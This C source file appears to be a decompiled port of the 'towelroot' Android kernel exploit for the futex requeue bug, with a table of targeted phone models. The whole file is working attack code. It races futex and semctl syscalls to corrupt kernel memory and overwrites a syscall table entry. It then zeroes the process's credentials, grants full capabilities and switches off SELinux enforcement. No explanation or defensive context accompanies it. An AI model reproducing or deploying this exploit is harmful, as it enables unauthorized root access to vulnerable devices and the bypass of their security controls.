#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>
#include "util.h"
#include <sys/wait.h>

//#define  DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...)
#endif

typedef enum __bool { false = 0, true = 1, } bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;

typedef struct _phone_info {
    char band[12];
    char model[32];
    char release[64];
    char version[64];
    unsigned int a;
} phone_info_t, *phone_info_ptr;

phone_info_t g_supported_phones[] = {
    // towelroot__2.6_kernel.so____ 172
	{"", "", "", "", 0x108},
    {"SEMC", "MT15i", "2.6.32.9-perf", "#1 PREEMPT Wed Jul 4 12:32:24 2012", 0x108}, \
    {"SEMC", "LT18i", "2.6.32.9-perf", "#1 PREEMPT Tue Apr 24 11:57:09 2012", 0x108}, \
    {"SEMC", "LT18i", "2.6.32.9-perf", "#1 PREEMPT Wed Oct 19 09:31:26 2011", 0x108}, \
    {"ZTE", "ZTE-U V880", "2.6.32.9-perf", "#1 PREEMPT Fri May 11 15:50:05 CST 2012", 0x108}, \
    {"ZTE", "ZTE-U V960", "2.6.35.7-perf+", "#1 PREEMPT Wed Dec 7 09:51:50 HKT 2011", 0x110}, \
    {"samsung", "SCH-I779", "2.6.35.7-1229192", "#2 PREEMPT Tue Mar 19 10:43:37 KST 2013", 0x110}
};

int g_supported_phones_count = sizeof(g_supported_phones) / sizeof(phone_info_t);
volatile phone_info_ptr g_this_phone;
//volatile u4 dword_D110 = 0xD020;
volatile u4 _data_start = 0xA0000000;
volatile u4 dword_D23C = 0x20;
volatile u4 unk_D240[6] = {0xE92D4010, 0xE3A00000, 0xE59F4004, 0xE12FFF34, 0xE8BD8010, 0xDEADBEEF};
volatile u4 KERNEL_BASE = 0xC0000000;
volatile u4 dword_D680;
volatile u4 dword_D684;
volatile u4 dword_D688;
volatile u4 dword_D68C;
volatile u4 swag;
volatile u4 dword_D694;
volatile u4 dword_D698[128];
volatile u4 dword_D898;
volatile phone_info_t* dword_D89C;
volatile u4 swag2;
volatile u4 dword_D8A4;
volatile u4 dword_D8A8;
volatile u4 dword_D8AC;
volatile u4 dword_D8B0;
volatile u4 dword_D8B4;
volatile u4 dword_D8B8;
volatile u4 dword_D8BC;
volatile u4 dword_D8C0;
volatile u4 dword_D8C4;
volatile u4 dword_D8C8;
volatile u4 algn_D8CC;
volatile u4 dword_D8D0;
volatile u4 algn_D8D4;
volatile u4 found_selinux_key;
volatile u4 sel_enforcing;
volatile _DWORD *victim_syscall_addr;
volatile u4 my_sgid;
volatile u4 my_tid;
volatile u4 my_euid;
volatile u4 my_ppid;
volatile u4 my_egid;
volatile u4 my_suid;
volatile u4 my_uid;
volatile u4 my_pid;
volatile u4 pivot_helper_ti;
volatile u4 my_gid;
 
int sub_9580(unsigned int *a1)
{
    unsigned int v1; // r3@1
    int v2; // r2@1

    v1 = *a1;
    v2 = 0;
    while ( 1 ) {
        ++v2;
        if ( v1 < KERNEL_BASE )
            return 0;
        if ( (unsigned int *)v1 == a1 )
            break;
        v1 = *(_DWORD *)v1;
        if ( v2 == 256 )
            return 0;
    }
    return 1;
}

int sub_95CC()
{
    _DWORD *pvictim_syscall_addr; // r3@1
    signed int result; // r0@2
    int v2; // r1@4
    unsigned int v3; // r1@4
    unsigned int v4; // r6@7
    int v5; // r7@12
    //unsigned int v6; // r2@12
    int v7; // r3@12
    int v8; // r9@12
    int v9; // r11@12
    int v10; // r1@12
    int v11; // r0@13
    int v12; // t1@13
    int v13; // r4@13
    int v14; // r7@15
    int v15; // r10@20
    unsigned int v16; // r7@20
    int v17; // r6@20
    //unsigned int v18; // r4@20
    unsigned int v19; // r1@24
    signed int v20; // r0@28
    int v21; // r3@31
    //int v22; // r4@31
    unsigned int v23; // r5@31
    unsigned int v24; // r2@31
    int v25; // r1@32
    int v26; // r0@34
    bool v27; // zf@34
    signed int v28; // r0@37
    unsigned int v29; // t1@40
    int v30; // r2@45
    int v31; // r1@51
    int v32; // ST64_4@51
    int v33; // r11@52
    int v34; // r8@52
    unsigned int *v35; // r2@53
    unsigned int *v36; // t1@53
    unsigned int *v37; // r0@53
    int v38; // r0@55
    unsigned int v39; // r9@55
    unsigned int v40; // t1@55
    unsigned int v41; // r10@55
    bool v42; // zf@55
    unsigned int v43; // r2@61
    unsigned int v44; // r3@62
    int v45; // r2@63
    bool v46; // zf@63
    signed int v47; // r2@66
    int v48; // r3@71
    int v49; // ST44_4@80
    unsigned int v50; // r3@81
    unsigned int v51; // r12@84
    int v52; // r2@86
    unsigned int v53; // r3@87
    int v54; // r2@88
    int v55; // [sp+Ch] [bp-8Ch]@28
    int v56; // [sp+10h] [bp-88h]@20
    int v57; // [sp+10h] [bp-88h]@32
    int v58; // [sp+10h] [bp-88h]@61
    unsigned int v59; // [sp+18h] [bp-80h]@12
    int v60; // [sp+24h] [bp-74h]@0
    int v61; // [sp+28h] [bp-70h]@12
    int v62; // [sp+40h] [bp-58h]@12
    unsigned int v63; // [sp+6Ch] [bp-2Ch]@4

    pvictim_syscall_addr = victim_syscall_addr;
    if ( !victim_syscall_addr )
        goto LABEL_2;
    v2 = victim_syscall_addr[2];
    *victim_syscall_addr = v2;
    pvictim_syscall_addr[1] = v2;
    v3 = *(_DWORD *)((unsigned int)&v63 & 0xFFFFE000);
    v63 = (unsigned int)&v63 & 0xFFFFE000;
    if ( v3 > KERNEL_BASE )
        goto LABEL_2;
    if ( KERNEL_BASE < *(_DWORD *)(((unsigned int)&v63 & 0xFFFFE000) + 4) )
        goto LABEL_2;
    if ( KERNEL_BASE < *(_DWORD *)(((unsigned int)&v63 & 0xFFFFE000) + 8) )
        goto LABEL_2;
    v4 = *(_DWORD *)(((unsigned int)&v63 & 0xFFFFE000) + 0xC);
    if ( KERNEL_BASE > v4 || KERNEL_BASE > *(_DWORD *)(((unsigned int)&v63 & 0xFFFFE000) + 0x10) )
        goto LABEL_2;
    if ( KERNEL_BASE < *(_DWORD *)v4 || *(_DWORD *)(v4 + 4) != ((unsigned int)&v63 & 0xFFFFE000) )
        return -2;
    v5 = 0;
    v61 = v4 + 0x400;
    //v6 = 0x104u;
    v7 = -8 - v4;
    v8 = *(_DWORD *)(((unsigned int)&v63 & 0xFFFFE000) + 0xC);
    v9 = *(_DWORD *)(((unsigned int)&v63 & 0xFFFFE000) + 0xC);
    v62 = 0;
    v10 = 0;
    v59 = 0;
    while ( 1 )
    {
        v12 = *(_DWORD *)v9;
        v9 += 4;
        v11 = v12;
        v13 = v5 + 4;
        if ( v10 || my_tid != v11 || my_pid != *(_DWORD *)(v13 + v4) )
        {
            v14 = v10;
        }
        else
        {
            v56 = v5;
            v15 = v9 + 24;
            v16 = v4;
            v59 = *(_DWORD *)(v9 + 8);
            v17 = v13;
            //v18 = v6;
            while ( 1 )
            {
                if ( !*(_DWORD *)v15 && !*(_DWORD *)(v15 + 4) && !*(_DWORD *)(v15 + 8) )
                {
                    v19 = KERNEL_BASE; //**(_DWORD **)((char *)&dword_D110 + v18); // fuck
                    if ( *(_DWORD *)(v15 - 8) > v19 && v19 < *(_DWORD *)(v15 - 4) )
                    {
                        v55 = v7;
                        v20 = sub_9580((unsigned int *)(v15 - 8));
                        v7 = v55;
                        if ( v20 )
                        {
                            //v6 = v18;
                            v62 = v55 + v15;
                            v13 = v17;
                            v4 = v16;
                            v14 = v56;
                            goto LABEL_16;
                        }
                    }
                }
                if ( v61 <= (unsigned int)(v15 + 4) )
                    break;
                v15 += 4;
            }
            //v6 = v18;
            v13 = v17;
            v4 = v16;
            v14 = v56;
        }
LABEL_16:
        if ( *(_BYTE *)v8 == 112 && *(_BYTE *)(v8 + 1) == 118 && *(_BYTE *)(v8 + 2) == 82 && *(_BYTE *)(v8 + 3) == 95 )
            break;
        if ( v13 == 0x1000 )
        {
            v21 = 0;
            //v22 = &dword_D110; // fuck
            //v23 = v6;
            v24 = 0;
            goto LABEL_32;
        }
        v10 = v14;
        ++v8;
        v5 = v13;
    }
    //v22 = &dword_D110; // fuck
    //v23 = v6;
    v30 = v8 - v4 - 8;
    v21 = v30;
    v60 = v4 + v30;
    v24 = *(_DWORD *)(v4 + v30);
LABEL_32:
    v25 = v60;
    v57 = v21 - 60;
    while ( 1 )
    {
        if ( v24 > KERNEL_BASE )
        {
            v26 = *(_DWORD *)(v24 + 12);
            v27 = v26 == 0x43736564;
            if ( v26 != 0x43736564 )
                v27 = v26 == 0x44656144;
            v28 = v27 ? 4 : 1;
            if ( *(_DWORD *)(v24 + 4 * v28) == my_uid
                && *(_DWORD *)(v24 + 4 * (v28 + 1)) == my_gid
                && *(_DWORD *)(v24 + 4 * (v28 + 2)) == my_suid
                && *(_DWORD *)(v24 + 4 * (v28 + 3)) == my_sgid
                && *(_DWORD *)(v24 + 4 * (v28 + 4)) == my_euid
                && *(_DWORD *)(v24 + 4 * (v28 + 5)) == my_egid )
                break;
        }
        v29 = *(_DWORD *)(v25 - 4);
        v25 -= 4;
        v24 = v29;
        if ( v21 == v57 )
        {
            result = 0;
            goto LABEL_70;
        }
        v21 -= 4;
    }
    v31 = 0;
    v32 = &sel_enforcing;
    *(_DWORD *)(v24 + 4 * (v28 + 2)) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 1)) = 0;
    *(_DWORD *)(v24 + 4 * v28) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 5)) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 4)) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 3)) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 7)) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 6)) = 0;
    *(_DWORD *)(v24 + 4 * (v28 + 10)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 9)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 12)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 11)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 14)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 13)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 16)) = -1;
    *(_DWORD *)(v24 + 4 * (v28 + 15)) = -1;
    if ( *(_DWORD *)v32 )
    {
        v33 = found_selinux_key;
        v34 = v24 + 4 * (v33 + 17 + v28);
        while ( 1 )
        {
            v36 = *(unsigned int **)v34;
            v34 += 4;
            v35 = v36;
            v37 = v36;
            if ( v36 )
            {
                if ( (unsigned int)v35 > KERNEL_BASE )
                {
                    v40 = *v37;
                    v38 = (int)(v37 + 1);
                    v39 = v40;
                    v41 = v35[2];
                    v42 = v41 == 0;
                    if ( !v41 )
                        v42 = v39 == v35[1];
                    if ( v42 && v39 > 0xA )
                        break;
                }
            }
            ++v31;
            if ( v31 == 3 )
                goto LABEL_61;
        }
        found_selinux_key = v33 + v31;
        *(_DWORD *)v38 = 1;
        *v35 = 1;
    }
LABEL_61:
    v43 = KERNEL_BASE;
    v58 = &KERNEL_BASE;
    if ( v59 <= v43 )
        goto LABEL_94;
    v44 = *(_DWORD *)(v21 + v59);
    if ( v44 <= v43 )
        goto LABEL_94;
    v45 = *(_DWORD *)(v44 + 12);
    v46 = v45 == 0x43736564;
    if ( v45 != 0x43736564 )
        v46 = v45 == 0x44656144;
    v47 = v46 ? 4 : 1;
    if ( *(_DWORD *)(v44 + 4 * v47) != my_uid
        || *(_DWORD *)(v44 + 4 * (v47 + 1)) != my_gid
        || *(_DWORD *)(v44 + 4 * (v47 + 2)) != my_suid
        || *(_DWORD *)(v44 + 4 * (v47 + 3)) != my_sgid
        || *(_DWORD *)(v44 + 4 * (v47 + 4)) != my_euid
        || *(_DWORD *)(v44 + 4 * (v47 + 5)) != my_egid )
    {
LABEL_94:
        result = 1;
    }
    else
    {
        v49 = &sel_enforcing;
        *(_DWORD *)(v44 + 4 * (v47 + 2)) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 1)) = 0;
        *(_DWORD *)(v44 + 4 * v47) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 5)) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 4)) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 3)) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 7)) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 6)) = 0;
        *(_DWORD *)(v44 + 4 * (v47 + 10)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 9)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 12)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 11)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 14)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 13)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 16)) = -1;
        *(_DWORD *)(v44 + 4 * (v47 + 15)) = -1;
        if ( *(_DWORD *)v49
            && (v50 = *(_DWORD *)(v44 + 4 * (v47 + found_selinux_key + 17)), v50 > *(_DWORD *)v58) )
        {
            *(_DWORD *)v50 = 1;
            *(_DWORD *)(v50 + 4) = 1;
            result = 2;
        }
        else
        {
            result = 2;
        }
    }
LABEL_70:
    if ( v62 )
    {
        v48 = v4;
        while ( dword_D680 != *(_DWORD *)(v48 + v14) )
        {
            v48 = *(_DWORD *)(v48 + v62) - v62;
            if ( v4 == v48 )
                goto LABEL_84;
        }
        dword_D684 = *(_DWORD *)(v48 + 4);
    }
LABEL_84:
    v51 = KERNEL_BASE;
    if ( dword_D684 > v51 && dword_D688 )
    {
        v52 = dword_D688 + dword_D684 - 12;
        if ( *(_DWORD *)v52 == 126 )
        {
            v53 = *(_DWORD *)(dword_D688 + dword_D684 + 4);
            *(_DWORD *)(dword_D688 + dword_D684 - 4) = dword_D688 + dword_D684 - 8;
            *(_DWORD *)(v52 + 12) = v53;
            *(_DWORD *)(v52 + 4) = v52 + 4;
            if ( v53 > v51 )
            {
                v54 = *(_DWORD *)(v53 + 8);
                *(_DWORD *)(v53 + 4) = *(_DWORD *)v53;
                *(_DWORD *)(v53 + 12) = v54;
                return result;
            }
        }
LABEL_2:
        result = -1;
    }
    return result;
}

int sub_9E48(int a1)
{
    return (a1 & 0xFF0000u) - 0x20001 <= 0xADFFFE;
}

int pi_state_helper_(int a1)
{
    int v1; // r5@1
    int v2; // r4@1

    v1 = a1;
    v2 = syscall(224);
    if ( !setpriority(0, 0, v1) )
    {
        dword_D68C = 1;
        dword_D680 = v2;
        if ( !syscall(240, &swag, 6, 1, 0, 0, 0) )
            pthread_exit(0);
    }
    return 0;
}

int victim_semctl()
{
    int v0; // r0@1
    int v1; // r2@1
    int v2; // r3@1
    int v3; // r1@1
    int v4; // r6@5
    struct timeval v6; // [sp+10h] [bp-28h]@9

    v0 = syscall(224);
    v1 = 0;
    v2 = 0;
    v3 = dword_D898;
    dword_D694 = v0;
    do
    {
        ++v2;
        dword_D698[v1] = v3;
        v1 = v2;
    }
    while ( v2 != 128 );
    if ( dword_D89C )
    	 *(_DWORD *)((char *)&dword_D698[0] + dword_D89C ->a) = 1; // fuck
    v4 = syscall(299, 0, 250, 432);
    if ( v4 < 0 )
        exit(-1);
    if ( !setpriority(0, 0, 12) )
    {
        syscall(240, &swag2, 11, 0, 0, &swag, 0);
        while ( !dword_D8A4 )
        {
            syscall(300, v4, 250, 17, &dword_D698[0]); //fuck
            dword_D8A8 = 1;
            v6.tv_sec = 20;
            v6.tv_usec = 0;
            select(0, 0, 0, 0, &v6);
        }
        pthread_exit(0);
    }
    return 0;
}

void sub_A040()
{
    syscall(224);
    if ( dword_D8AC )
    {
        dword_D8AC = 0;
    }
    else if ( dword_D8B0 == 1 )
    {
        dword_D8B0 = 2;
        do
            usleep(0x186A0u);
        while ( dword_D8B0 == 2 );
        dword_D8B0 = 4;
    }
    return;
}

int sub_A0AC(int a1)
{
    int v1; // r4@1
    int v3; // [sp+14h] [bp-Ch]@1

    v1 = a1;
    v3 = syscall(224);
    write(v1, &v3, 4u);
    if ( !setpriority(0, 0, 13) 
        && bsd_signal(12, sub_A040) != -1 
        && !syscall(240, &swag, 6, 1, 0, 0, 0) )
        pthread_exit(0);
    return 0;
}

int sub_A150(const char *a1)
{
    const char *v1; // r10@1
    FILE *fd_sym; // r5@1
    signed int result; // r0@2
    int v4; // r11@3
    u4 addr; // [sp+14h] [bp-234h]@3
    char v6; // [sp+1Bh] [bp-22Dh]@3
    char v7[512]; // [sp+1Ch] [bp-22Ch]@3
    int v8; // [sp+21Ch] [bp-2Ch]@1

    fd_sym = fopen("/proc/kallsyms", "r");
    if ( fd_sym )
    {
        while ( 1 )
        {
            while ( 1 )
            {
                v4 = fscanf(fd_sym, "%p %c %s\n", &addr, &v6, &v7);
                if ( v4 )
                    break;
                fscanf(fd_sym, "%s\n", &v7);
            }
            if ( !strcmp(a1, &v7) )
                break;
            if ( v4 == -1 )
            {
                fclose(fd_sym);
                return 0;
            }
        }
        fclose(fd_sym);
        result = 1;
    }
    else
    {
        result = -1;
    }
    return result;
}

FILE * sub_A264(const char *a1)
{
    const char *v1; // r10@1
    FILE *result; // r0@1
    FILE *v3; // r5@1
    int v4; // r11@2
    FILE *v5; // [sp+14h] [bp-234h]@2
    char v6; // [sp+1Bh] [bp-22Dh]@2
    char v7[512]; // [sp+1Ch] [bp-22Ch]@2
    int v8; // [sp+21Ch] [bp-2Ch]@1

    v1 = a1;
    result = fopen("/proc/kallsyms", "r");
    v3 = result;
    if ( result )
    {
        while ( 1 )
        {
            while ( 1 )
            {
                v4 = fscanf(v3, "%p %c %s\n", &v5, &v6, &v7);
                if ( v4 )
                    break;
                fscanf(v3, "%s\n", &v7);
            }
            if ( !strcmp(v1, &v7) )
                break;
            if ( v4 == -1 )
            {
                fclose(v3);
                return 0;
            }
        }
        fclose(v3);
        result = v5;
    }
    return result;
}

int sub_A378()
{
    unsigned int v0; // r12@1
    u4 v1; // r3@3
    u4 v2; // t1@3
    u4 v3; // r12@4
    u4 v4; // lr@4
    u4 v5; // r4@5
    u4 v6; // r5@5
    int v7; // r0@7
    FILE *v8; // r0@8

    v0 = 0xFFFF0000;
    do
    {
        v2 = *(_DWORD *)v0;
        v0 += 4;
        v1 = v2;
        if ( (v2 & 0xFFFFF000) == 0xE59FF000 )
        {
            v3 = v0 - 4;
            v4 = (v1 & 0xFFF) + 8;
            if ( (unsigned int)(v4 + v3) >= 0xFFFF1000 )
                exit(-1);
            v5 = *(_DWORD *)(v4 + v3);
            v6 = v5 + 112;
            if ( prctl(21, 0, 0, 0, 0) >= 0 )
                v6 = v5 + 136;
            v7 = sub_A150("sys_oabi_semop");
            if ( v7 )
            {
                if ( v7 == -1 )
                    exit(-1);
                v6 += 24;
            }
            v8 = (FILE *)(((v6 + 99) & 0xFFFFFFE0) + 4 * v7 + 4);
            return (int)((char *)v8 + 1100);
        }
    }
    while ( v0 != 0xFFFF1000 );
    v8 = sub_A264("sys_call_table");
    if ( !v8 )
        exit(-1);
    return (int)((char *)v8 + 1100);
}

void *map_MAGIC()
{
    void *v0; // r0@1
    void *v1; // r0@2
    void *result; // r0@3

    printff("[sub_A460]entry\n");
    v0 = mmap((void *)_data_start, 0x100000u, 3, 50, -1, 0);
    dword_D8B4 = (u4)v0;
    dword_D898 = (u4)((char *)v0 + 0x800);
    v1 = mmap((void *)0xBE0000, 0x20000u, 3, 50, -1, 0);
    dword_D8B8 = (int)v1;
    if (v0 == (void *)-1 || v1 == (void *)-1) {
        exit(0);
    }
    dword_D8BC = (u4)((char *)v1 + 0x10000);
    result = malloc(16 * dword_D23C);
    dword_D8C0 = (u4)result;

    printff("[sub_A460]exit\n");
    return result;
}

unsigned int sub_A508(unsigned int result, int a2)
{
    unsigned int v2; // r4@1
    int v3; // r6@1
    int v4; // r3@2

    v2 = result;
    v3 = a2;
    if ( result )
    {
        v4 = 0;
        do
        {
            if ( v4 > 17 )
            {
                usleep(0x186A0u);
                v4 = 0;
            }
            result = *(_DWORD *)(v2 + 4 * v4++);
            //printff("[sub_A508]result: %x, KERNEL_BASE: %x\n", result, KERNEL_BASE);
        }
        while ( result <= KERNEL_BASE || result == v3 );
        if ( !dword_D688 )
            dword_D688 = result & 0x1FFF;
    }
    return result;
}

int search_good_num()
{
    int i; // r0@5
    int v1; // r4@10
    int v2; // r3@11
    int v3; // r2@12
    int v4; // r0@13
    size_t v5; // r1@14
    int v6; // r4@16
    __pid_t v7; // r10@17
    int v8; // r0@17
    int v9; // r0@18
    void *v10; // r0@19
    int v11; // r4@23
    int v12; // r5@23
    bool v13; // zf@23
    int v14; // r7@25
    int v15; // r10@26
    int v16; // r4@32
    int v17; // r2@33
    int v18; // r3@33
    int v19; // r4@36
    int v20; // r5@36
    int v21; // r6@36
    int j; // r6@41
    int v23; // r8@43
    int v24; // r5@44
    int v25; // r9@44
    int v26; // r3@45
    __pid_t pid; // [sp+1Ch] [bp-3Ch]@20
    int v29; // [sp+20h] [bp-38h]@1
    int v30; // [sp+20h] [bp-38h]@43
    int v31[2]; // [sp+28h] [bp-30h]@16

    syscall(224);
    v29 = sub_A378();
    victim_syscall_addr = (_DWORD *)v29;
    printff("[search_good_num]0.1...\n");
    if ( !syscall(240, &swag, 6, 1, 0, 0, 0) )
    {
        while ( syscall(240, &swag2, 12, 1, 0, &swag, 0) != 1 )
            usleep(0x186A0u);
        pthread_create((pthread_t *)&dword_D8C4, 0, (void *(*)(void *))pi_state_helper_, (void *)6);
        while (!dword_D68C) {
            usleep(0x186A0u);
        }
        printff("[search_good_num]0.2...\n");
        swag = 0;
        *(_DWORD *)__errno() = 0;
        syscall(240, &swag, 12, 1, 0, &swag, 0);
        while ( !dword_D8A8 )
            usleep(0xC350u);
        usleep(0x186A0u);
        printff("[search_good_num]0.3...\n");
        while ( 1 )
        {
            v1 = dword_D898;
            if ( dword_D898 != 4 )
            {
                memset((void *)(dword_D898 - 4), 0, 0x400u);
                *(_DWORD *)v1 = v1 + 32;
                v2 = v1 + 28;
                *(_DWORD *)(v1 + 28) = 139;
                *(_DWORD *)(v1 + 8) = v1 + 40;
                *(_DWORD *)(v2 + 16) = v1 + 8;
                *(_DWORD *)(v2 + 12) = 0;
                *(_DWORD *)(v1 - 4) = 133;
                *(_DWORD *)(v2 + 4) = 0;
                *(_DWORD *)(v2 + 8) = v1;
            }
            syscall(224);
            printff("[search_good_num]0.4...\n");
            v3 = dword_D8C8;
            if ( dword_D8C8 >= dword_D23C )
            {
                v5 = 32 * dword_D23C;
                dword_D23C *= 2;
                v4 = (int)realloc((void *)dword_D8C0, v5);
                dword_D8C0 = v4;
                if ( !v4 )
                {
                    while ( 1 )
                    {
                        sleep(0x2710u);
                        sleep(0x2710u);
                    }
                }
                v3 = dword_D8C8;
            }
            else
            {
                v4 = dword_D8C0;
            }
            v6 = v4 + 16 * v3;
            *(_DWORD *)(v6 + 8) = 13;
            *(_DWORD *)(v6 + 4) = -1;
            printff("[search_good_num]0.5...\n");
            if ( !pipe(v31) )
            {
                pthread_create((pthread_t *)v6, 0, (void *(*)(void *))sub_A0AC, (void *)v31[1]);
                read(v31[0], (void *)(v6 + 4), 4u);
                ++dword_D8C8;
                close(v31[0]);
                close(v31[1]);
            }
            v7 = *(_DWORD *)(v6 + 4);
            printff("[search_good_num]0.5.1...\n");
            v8 = sub_A508(dword_D898 - 4, 0);
            printff("[search_good_num]0.5.2...\n");
            printff("[search_good_num]v8: %x\n", v8);
            *(_DWORD *)(v6 + 12) = v8;
            pivot_helper_ti = v8;
            printff("[search_good_num]0.6...\n");
            if ( v8 )
            {
                v9 = sub_9E48(v8);
                printff("[search_good_num]v9: %x\n", v9);
                if ( v9 )
                {
                    v10 = mmap((void *)((pivot_helper_ti << 8) & 0xFFFFF000), 0x2000u, 7, 50, -1, 0);
                    algn_D8CC = v10;
                    printff("[search_good_num]v10: %x\n", v10);
                    if ( v10 != (void *)-1 )
                        break;
                }
            }
        }
        dword_D8D0 = v10;
        dword_D8B0 = 1;
        pid = v7;
        printff("[search_good_num]0.7...\n");
        kill(v7, 12);
        while ( dword_D8B0 != 2 )
            usleep(0x186A0u);
        v11 = dword_D8BC;
        v12 = dword_D898;
        v13 = dword_D898 == 4;
        if ( dword_D898 != 4 )
            v13 = dword_D8BC == 12;
        v14 = v29 + 1;
        v15 = v13 != 0;
        printff("[search_good_num]0.8...\n");
        if ( !v13 )
        {
            memset((void *)(dword_D898 - 4), v15, 0x400u);
            memset((void *)(v11 - 44), v15, 0x400u);
            *(_DWORD *)v12 = v11 - 8;
            *(_DWORD *)(v12 - 4) = 133;
            *(_DWORD *)(v12 + 4) = v15;
            *(_DWORD *)(v11 - 12) = 139;
            *(_DWORD *)(v11 - 4) = v14;
            *(_DWORD *)(v11 + 4) = v14;
        }
        dword_D8B0 = 3;
        do
        usleep(0x186A0u);
        while ( dword_D8B0 == 3 );
        printff("[search_good_num]0.9...\n");
        sub_A508(dword_D8BC - 12, v14);
        printff("[search_good_num]0.9.1...\n");
        //while (1);
        v16 = dword_D8D0;
        unk_D240[5] = (u4)sub_95CC;
        if ( dword_D8D0 )
        {
            memset((void *)dword_D8D0, 0, 0x2000u);
            v17 = 0;
            v18 = 0;
            do
            {
                v18 += 4;
                *(_DWORD *)(v16 + v17) = 0xE1A00000;
                v17 = v18;
            }
            while ( v18 != 0x2000 );
            memcpy((void *)(v16 + 4096), &unk_D240, 0x18u);
        }
        printff("[search_good_num]1.0...\n");
        usleep(0x186A0u);
        syscall(275);
        v19 = dword_D8BC;
        v20 = dword_D8BC - 12;
        v21 = pivot_helper_ti;
        if ( dword_D8BC != 12 )
        {
            memset((void *)(dword_D8BC - 44), 0, 0x400u);
            *(_DWORD *)(v19 - 12) = 139;
            *(_DWORD *)(v20 + 16) = v21;
            *(_DWORD *)(v20 + 12) = 0;
        }
        swag = 0;
        dword_D8AC = 1;
        kill(pid, 12);
        printff("[search_good_num]1.1...\n");
        while ( !swag )
            usleep(0x186A0u);
        swag = dword_D694 | 0x80000000;
        syscall(224);
        for ( j = 0; j < dword_D8C8; ++j )
        {
            v23 = dword_D8C0 + 16 * j;
            v30 = dword_D8C0;
            if ( pid != *(_DWORD *)(v23 + 4) )
            {
                v24 = dword_D898;
                v25 = *(_DWORD *)(v23 + 12);
                if ( dword_D898 != 4 )
                {
                    memset((void *)(dword_D898 - 4), 0, 0x400u);
                    v26 = v24 + 28;
                    *(_DWORD *)(v24 + 28) = 139;
                    *(_DWORD *)(v24 + 8) = v25;
                    *(_DWORD *)(v26 + 16) = v25;
                    *(_DWORD *)(v24 - 4) = 133;
                    *(_DWORD *)(v26 + 12) = 0;
                    *(_DWORD *)(v26 + 4) = 0;
                    *(_DWORD *)(v26 + 8) = 0;
                }
                swag = 0;
                dword_D8AC = 1;
                printff("[search_good_num]1.2...\n");
                kill(*(_DWORD *)(v23 + 4), 12);
                while ( !swag )
                    usleep(0x186A0u);
                swag = dword_D694 | 0x80000000;
                pthread_join(*(_DWORD *)(v30 + 16 * j), 0);
            }
        }
        swag = 0;
        dword_D8AC = 1;
        kill(dword_D680, 12);
        while ( !swag )
            usleep(0x186A0u);
        printff("[search_good_num]1.3...\n");
        swag = dword_D694 | 0x80000000;
        dword_D8A4 = 1;
        pthread_join(dword_D8C4, 0);
    }
    return 0;
}

int towelroot_main()
{
    int fd_enf;
    int v7 = 0;
    ssize_t v8;
    int i;
    int j;
    int v14;
    int v24;
    size_t len_model;
    size_t len_version;
    size_t len_release;
    struct stat s_stat;
    struct utsname sysinfo;
    char buf[32];

    my_pid = getpid();
    my_tid = gettid();
    my_ppid = getppid();
    getresuid(&my_uid, &my_euid, &my_suid);
    getresgid(&my_gid, &my_egid, &my_sgid);

    prctl(15, "pvR_timewQ", 0, 0, 0);
   // if (argc != 2)
   //      exit(1);
   // strncpy((char *)argv[0], argv[1], strlen(argv[0]));

    while (1) {
        v24 = 0;
        fd_enf = open("/sys/fs/selinux/enforce", 0);
        if (fd_enf >= 0) {
            memset(buf, 0, 32);
            v8 = read(fd_enf, &buf, 4u);
            close(fd_enf);
            if (v8 >= 0 && sscanf((const char *)&buf, "%d", &v24) != 1) {
                sel_enforcing = 0;
                break;
            }
            v7 = 1;
        }
        if (v7 || stat("/sys/fs/selinux", &s_stat) || (s_stat.st_mode & 0xf000) != 0x4000) {
            sel_enforcing = v24;
            if (!sel_enforcing)
                break;
            found_selinux_key = stat("/proc/key-users", &s_stat) ? 0 : 4;
            break;
        }
        sel_enforcing = 1;
    }
    v14 = uname(&sysinfo);
    if (v14) {
        dword_D89C = 0;
    } else {
        __system_property_get("ro.product.model", buf);
        len_model = strlen(buf);
        len_version = strlen(sysinfo.version);
        len_release = strlen(sysinfo.release);
        printff("[main]model: %s, release: %s\n", buf, sysinfo.release);
        dword_D89C = 0;
        for (i = 1; i != g_supported_phones_count; ++i) {
            if (strncmp(buf, g_supported_phones[i].model, len_model) == 0 &&
                //strncmp(sysinfo.version, g_supported_phones[i].version, len_version) == 0 &&
                strncmp(sysinfo.release, g_supported_phones[i].release, len_release) == 0) {
                dword_D89C = &g_supported_phones[i];
                printff("[main]found model: %s\n", dword_D89C+8);
                break;
            }
        }
        if (!dword_D89C) {
        	dword_D89C = &g_supported_phones[0];
        }
        _data_start = 0x1000000;
        KERNEL_BASE = 0x80000000;
    }
    map_MAGIC();
    pthread_create((pthread_t *)&algn_D8D4, 0, (void *(*)(void *))victim_semctl, 0);
    search_good_num();

    printff("[main]uid: %x\n", getuid());
    return 0;
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

